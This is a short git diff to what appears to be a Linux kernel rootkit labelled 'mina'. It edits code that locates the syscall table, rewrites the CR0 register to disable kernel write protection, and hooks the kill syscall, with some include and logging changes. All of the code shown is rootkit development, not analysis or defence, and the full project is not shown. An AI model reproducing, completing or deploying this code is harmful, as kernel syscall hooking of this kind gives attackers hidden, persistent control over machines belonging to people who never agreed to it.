diff --git a/rootkit/hooks/hooks.c b/rootkit/hooks/hooks.c
@@ -4,12 +4,12 @@
modify, search for hooks, and anything of the sort.
*/
-#include <linux/fs.h>
#include <linux/init.h>
#include <linux/kallsyms.h>
#include <linux/kernel.h>
#include <linux/module.h>
-#include <linux/slab.h>
+#include <linux/namei.h>
+#include <linux/syscalls.h>
#include "../includes/mina.h"
@@ -35,9 +35,7 @@ uint64_t *get_syscall_table(void) {
}
inline void commit_cr0(unsigned long cr0) {
- unsigned long __force_order;
-
- asm volatile("mov %0,%%cr0" : "+r"(cr0), "+m"(__force_order));
+ asm volatile("mov %0,%%cr0" : "+r"(cr0) : : "memory");
}
void enable_memory_protection(void) {
diff --git a/rootkit/hooks/kill.c b/rootkit/hooks/kill.c
@@ -21,8 +21,9 @@ short unsigned int hooked_kill_syscall(const struct pt_regs *regs) {
int sig = regs->si;
hook_t *metadata = retrieve_hook_metadata(__NR_kill);
+ printk(KERN_INFO "[mina] reached hooked syscall: signum => %d, pid => %d\n", sig, pid);
if (!metadata) {
- printk(KERN_INFO "[mina] oh no");
+ printk(KERN_INFO "[mina] no metadata");
return -EINVAL;
}
@@ -36,6 +37,5 @@ short unsigned int hooked_kill_syscall(const struct pt_regs *regs) {
return 0;
}
- printk(KERN_INFO "[mina] reached hooked syscall: signum => %d, pid => %d\n", sig, pid);
return metadata->original(regs);
}
| |